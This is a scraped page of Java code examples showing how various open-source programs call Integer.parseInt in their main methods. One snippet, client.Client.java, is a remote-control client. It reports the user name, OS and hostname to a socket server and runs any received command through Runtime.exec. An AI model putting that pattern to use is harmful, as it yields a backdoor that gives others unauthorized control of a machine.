Example usage for java.lang Integer parseInt

List of usage examples for java.lang Integer parseInt

Introduction

In this page you can find the example usage for java.lang Integer parseInt.

Prototype

public static int parseInt(String s) throws NumberFormatException 

Source Link

Document

Parses the string argument as a signed decimal integer.

Usage

From source file:genql.CLIRunner.java

public static void main(String[] args) {
    Options options = setupOptions();/*  ww w  .  ja  v  a2 s .  c  o  m*/
    CommandLineParser parser = new BasicParser();
    try {
        //            for (int i = 0; i < args.length; i++) {
        //                System.out.println(args[i]);
        //            }
        CommandLine line = parser.parse(options, args);
        if (line.hasOption('e')) {
            isEval = true;
        }
        if (line.hasOption('g')) {
            isGen = true;
        }
        if (line.hasOption('d')) {
            corpusDir = line.getOptionValue('d');
        }
        if (line.hasOption('n')) {
            qcount = Integer.parseInt(line.getOptionValue('n'));
        } else {
            qcount = 10;
        }
        if (line.hasOption('o')) {
            outputFile = line.getOptionValue('o');
        }
        if (line.hasOption('g')) {
            groundTruthQueryFile = line.getOptionValue('g');
        }
        if (line.hasOption('q')) {
            generatedQueryFile = line.getOptionValue('q');
        }
        if (line.hasOption('m')) {
            min_query_len = Integer.parseInt(line.getOptionValue('m'));
        } else {
            min_query_len = 2;
        }
        if (line.hasOption('x')) {
            max_query_len = Integer.parseInt(line.getOptionValue('x'));
        } else {
            max_query_len = 7;
        }
        if (line.hasOption('h')) {
            printHelpAndExit(options);
        }

        if (isGen) {
            MainApp.gen(corpusDir, outputFile, qcount, min_query_len, max_query_len);
        } else if (isEval) {
            final String intermediateResults = corpusDir + "/temp";
            new File(intermediateResults).mkdir();
            MainApp.eval(corpusDir, generatedQueryFile, groundTruthQueryFile, intermediateResults,
                    min_query_len, max_query_len);
        }
    } catch (Exception ex) {
        ex.printStackTrace();
        System.err.println("Unexpected exception: " + ex.getMessage());
        System.exit(1);
    }
}

From source file:com.cloudhopper.commons.io.demo.FileServerMain.java

public static void main(String[] argv) {
    loadFilesFromDir(argv[0], Integer.parseInt(argv[1]));
}

From source file:com.jivesoftware.os.amza.service.AmzaGetStress.java

public static void main(String[] args) throws IOException {

    args = new String[] { "soa-integ-data11.phx1.jivehosted.com", "1185", "1", "10000" };

    final String hostName = args[0];
    final int port = Integer.parseInt(args[1]);
    final int firstDocId = Integer.parseInt(args[2]);
    final int count = Integer.parseInt(args[3]);
    final int batchSize = 100;

    String partitionName = "lorem";

    for (int i = 0; i < 1024; i++) {
        final String rname = partitionName + i;
        final org.apache.http.client.HttpClient httpClient = HttpClients.createDefault();

        Thread t = new Thread() {
            @Override//from w  w  w.j  av  a  2s . co  m
            public void run() {
                try {
                    get(httpClient, hostName, port, rname, 0, count, batchSize);
                } catch (Exception x) {
                    x.printStackTrace();
                }
            }
        };
        t.start();
    }
}

From source file:ezbake.services.search.SSRServer.java

public static void main(String[] args) throws Exception {
    final String applicationName = "search-app";//cmd.getOptionValue('a');
    final String listenPort = "13004";//cmd.getOptionValue('l');
    final String zookeeperString = "localhost:2181";//cmd.getOptionValue('z');

    Properties props = new EzConfiguration().getProperties();
    props.setProperty(EzBakePropertyConstants.EZBAKE_APPLICATION_NAME, applicationName);
    props.setProperty(EzBakePropertyConstants.ZOOKEEPER_CONNECTION_STRING, zookeeperString);
    SSRServiceHandler handler = new SSRServiceHandler();
    handler.setConfigurationProperties(props);

    TServerTransport serverTransport = new TServerSocket(Integer.parseInt(listenPort));
    TServer server = new TSimpleServer(
            new TServer.Args(serverTransport).processor(handler.getThriftProcessor()));

    System.out.println("Starting the SSR service...");
    server.serve();/* w w w .ja va2 s  .  c o  m*/
}

From source file:com.opensymphony.able.jetty.Main.java

public static void main(String[] args) throws Exception {
    // now lets start the web server
    int port = PORT;
    if (args.length > 0) {
        String text = args[0];//from w  ww . ja  v  a  2 s .c o  m
        port = Integer.parseInt(text);
    }
    System.out.println("Starting Web Server on port: " + port);
    Server server = new Server();
    SelectChannelConnector connector = new SelectChannelConnector();
    connector.setPort(port);
    connector.setServer(server);
    WebAppContext context = new WebAppContext();

    context.setResourceBase(WEBAPP_DIR);
    context.setContextPath(WEBAPP_CTX);
    context.setServer(server);
    server.setHandlers(new Handler[] { context });
    server.setConnectors(new Connector[] { connector });
    server.start();

    System.out.println();
    System.out.println("==============================================================================");
    System.out.println("Started Able: point your web browser at http://localhost:" + port + "/");
    System.out.println("==============================================================================");
    System.out.println();
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *///w  w w .j av a 2s.  co m
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:com.cloudhopper.sxmp.demo.SubmitMain.java

static public void main(String[] args) throws Exception {

    String url = "http://127.0.0.1:8080/api/sxmp/1.0";
    String phone = "+14155551212";
    int operator = 1;
    if (args.length > 0)
        url = args[0];/*from www .  j a va 2 s.c o  m*/
    if (args.length > 1)
        phone = args[1];
    if (args.length > 2)
        operator = Integer.parseInt(args[2]);

    // create a submit request
    SubmitRequest submit = new SubmitRequest();
    submit.setAccount(new Account("customer1", "password1"));
    submit.setDeliveryReport(Boolean.TRUE);

    MobileAddress sourceAddr = new MobileAddress();
    sourceAddr.setAddress(MobileAddress.Type.NETWORK, "40404");
    submit.setSourceAddress(sourceAddr);
    submit.setOperatorId(operator);

    submit.setPriority(Priority.URGENT);

    MobileAddress destAddr = new MobileAddress();
    destAddr.setAddress(MobileAddress.Type.INTERNATIONAL, phone);

    submit.setDestinationAddress(destAddr);
    submit.setText("Hello World");

    // Get file to be posted
    HttpClient client = new DefaultHttpClient();

    client.getParams().setParameter(CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1);
    client.getParams().setParameter(CoreProtocolPNames.USE_EXPECT_CONTINUE, Boolean.FALSE);

    long totalStart = System.currentTimeMillis();
    int count = 1;

    for (int i = 0; i < count; i++) {
        long start = System.currentTimeMillis();

        // execute request
        try {
            HttpPost post = new HttpPost(url);

            //ByteArrayEntity entity = new ByteArrayEntity(data);
            StringEntity entity = new StringEntity(SxmpWriter.createString(submit));
            entity.setContentType("text/xml; charset=\"iso-8859-1\"");
            post.setEntity(entity);

            ResponseHandler<String> responseHandler = new BasicResponseHandler();

            String responseBody = client.execute(post, responseHandler);
            long stop = System.currentTimeMillis();

            logger.debug("----------------------------------------");
            logger.debug("Response took " + (stop - start) + " ms");
            logger.debug(responseBody);
            logger.debug("----------------------------------------");
        } finally {
            // do nothing
        }
    }

    long totalEnd = System.currentTimeMillis();

    logger.debug("Response took " + (totalEnd - totalStart) + " ms for " + count + " requests");

    double seconds = ((double) (totalEnd - totalStart)) / 1000;
    double smspersec = ((double) count) / seconds;
    logger.debug("SMS / Sec: " + DecimalUtil.toString(smspersec, 2));

}

From source file:com.github.sdbg.debug.core.internal.webkit.protocol.TestMain.java

/**
 * @param args//from  w ww .j  a  v  a  2 s .c o m
 * @throws IOException
 * @throws InterruptedException
 * @throws JSONException
 */
public static void main(String[] args) throws IOException, InterruptedException {
    if (args.length != 1) {
        System.out.println("usage Main <port>");
        return;
    }

    int port = Integer.parseInt(args[0]);

    List<ChromiumTabInfo> tabs = ChromiumConnector.getAvailableTabs(port);

    //ChromiumConnector.getWebSocketURLFor(port, 1);
    URI uri = URI.create(tabs.get(0).getWebSocketDebuggerUrl());
    WebkitConnection connection = new WebkitConnection(uri);

    connection.addConnectionListener(new WebkitConnectionListener() {
        @Override
        public void connectionClosed(WebkitConnection connection) {
            System.out.println("connection closed");
        }
    });

    connection.connect();

    System.out.println("connection opened");

    // add a console listener
    connection.getConsole().addConsoleListener(new ConsoleListener() {
        @Override
        public void messageAdded(String message, String url, int line, List<CallFrame> stackTrace) {
            System.out.println("message added: " + message);
        }

        @Override
        public void messageRepeatCountUpdated(int count) {
            System.out.println("messageRepeatCountUpdated: " + count);
        }

        @Override
        public void messagesCleared() {
            System.out.println("messages cleared");
        }
    });

    // enable console events
    connection.getConsole().enable();

    // add a debugger listener
    connection.getDebugger().addDebuggerListener(new DebuggerListener() {
        @Override
        public void debuggerBreakpointResolved(WebkitBreakpoint breakpoint) {
            System.out.println("debuggerBreakpointResolved: " + breakpoint);
        }

        @Override
        public void debuggerGlobalObjectCleared() {
            System.out.println("debuggerGlobalObjectCleared");
        }

        @Override
        public void debuggerPaused(PausedReasonType reason, List<WebkitCallFrame> frames,
                WebkitRemoteObject exception) {
            System.out.println("debugger paused: " + reason);

            for (WebkitCallFrame frame : frames) {
                System.out.println("  " + frame);
            }
        }

        @Override
        public void debuggerResumed() {
            System.out.println("debugger resumed");
        }

        @Override
        public void debuggerScriptParsed(WebkitScript script) {
            System.out.println("debugger script: " + script);
        }
    });

    // enable debugger events
    connection.getDebugger().enable();

    // navigate to cheese.com
    connection.getPage().navigate("http://www.cheese.com");

    //Thread.sleep(2000);

    //connection.close();
}

From source file:invoice.GetInvoice.java

/**
 * @param args the command line arguments
 *//* w w  w. j a  v a 2  s.  co  m*/
public static void main(String[] args) {

    NumberFormat nf = NumberFormat.getInstance();
    nf.setGroupingUsed(false);
    nf.setMaximumFractionDigits(2);
    nf.setMinimumFractionDigits(2);
    nf.setRoundingMode(RoundingMode.HALF_UP);

    try {
        JSONObject arg_json = new JSONObject(args[0]);
    } catch (JSONException ex) {
        Logger.getLogger(GetInvoice.class.getName()).log(Level.SEVERE, null, ex);
    }
    HashMap<String, Object> hm = new HashMap<>();
    hm.put("duplicate", "");
    hm.put("distributor", "//oshan" + "\n" + "//kapuhempala" + "\n\nArea: " + "//galle");
    hm.put("customer", "//owner" + "\n" + "//Agro" + "\n" + "//Agro add" + "\n" + "//0771894851");
    hm.put("invNo", "GSLTS" + String.format("%04d", Integer.parseInt("//100")));
    hm.put("invDate", "2014-01-10");
    hm.put("invCode", "300");

    double invoiceTotal = 500000;
    if (5 > 0) {//ShopDiscount
        double discountprice = (invoiceTotal * 99) / 100;//getShopDiscount()
        hm.put("invoiceDiscount", nf.format((invoiceTotal) * 99 / 100));//getRetail_discount()

    } else {
        hm.put("invoiceDiscount", "");
    }
    hm.put("gross_total", nf.format(invoiceTotal));
    hm.put("invoiceTotal", nf.format(((invoiceTotal) * (100 - 99) / 100)));//getRetail_discount()
    hm.put("salesPersonName", "rep");
    hm.put("salesPersonContactNo", "0772189584");

    JTable jTable1 = new JTable();
    jTable1.setModel(new javax.swing.table.DefaultTableModel(new Object[][] {},
            new String[] { "ITEMCODE", "DESCRIPTION", "QTY", "FREEQTY", "PRICE", "AMOUNT" }));
    String reportSource = "./ireports/invoice.jrxml";
    DefaultTableModel dtm = (DefaultTableModel) jTable1.getModel();
    try {
        JasperReport jr = JasperCompileManager.compileReport(reportSource);
        JasperPrint jp = JasperFillManager.fillReport(jr, hm, new JRTableModelDataSource(dtm));
        JasperPrintManager.printReport(jp, false);
    } catch (JRException ex) {
        Logger.getLogger(GetInvoice.class.getName()).log(Level.SEVERE, null, ex);
    }
    System.out.println("1");
}

From source file:Bounce.java

/**
 * The main method.// ww  w .  j av a  2  s.co  m
 */

public static void main(String[] args) {
    if (args.length < 3) {
        printUsage();
        System.exit(1);
    }

    int localPort;
    try {
        localPort = Integer.parseInt(args[0]);
    } catch (NumberFormatException e) {
        System.err.println("Bad local port value: " + args[0]);
        printUsage();
        System.exit(2);
        return;
    }

    String hostname = args[1];

    int remotePort;
    try {
        remotePort = Integer.parseInt(args[2]);
    } catch (NumberFormatException e) {
        System.err.println("Bad remote port value: " + args[2]);
        printUsage();
        System.exit(3);
        return;
    }

    boolean shouldLog = args.length > 3 ? Boolean.valueOf(args[3]).booleanValue() : false;
    int numConnections = 0;

    try {
        ServerSocket ssock = new ServerSocket(localPort);
        while (true) {
            Socket incomingSock = ssock.accept();
            Socket outgoingSock = new Socket(hostname, remotePort);
            numConnections++;

            InputStream incomingIn = incomingSock.getInputStream();
            InputStream outgoingIn = outgoingSock.getInputStream();
            OutputStream incomingOut = incomingSock.getOutputStream();
            OutputStream outgoingOut = outgoingSock.getOutputStream();

            if (shouldLog) {
                String incomingLogName = "in-log-" + incomingSock.getInetAddress().getHostName() + "("
                        + localPort + ")-" + numConnections + ".dat";
                String outgoingLogName = "out-log-" + hostname + "(" + remotePort + ")-" + numConnections
                        + ".dat";
                OutputStream incomingLog = new FileOutputStream(incomingLogName);
                incomingOut = new MultiOutputStream(incomingOut, incomingLog);
                OutputStream outgoingLog = new FileOutputStream(outgoingLogName);
                outgoingOut = new MultiOutputStream(outgoingOut, outgoingLog);
            }

            PumpThread t1 = new PumpThread(incomingIn, outgoingOut);
            PumpThread t2 = new PumpThread(outgoingIn, incomingOut);
            t1.start();
            t2.start();
        }
    } catch (IOException e) {
        e.printStackTrace();
        System.exit(3);
    }
}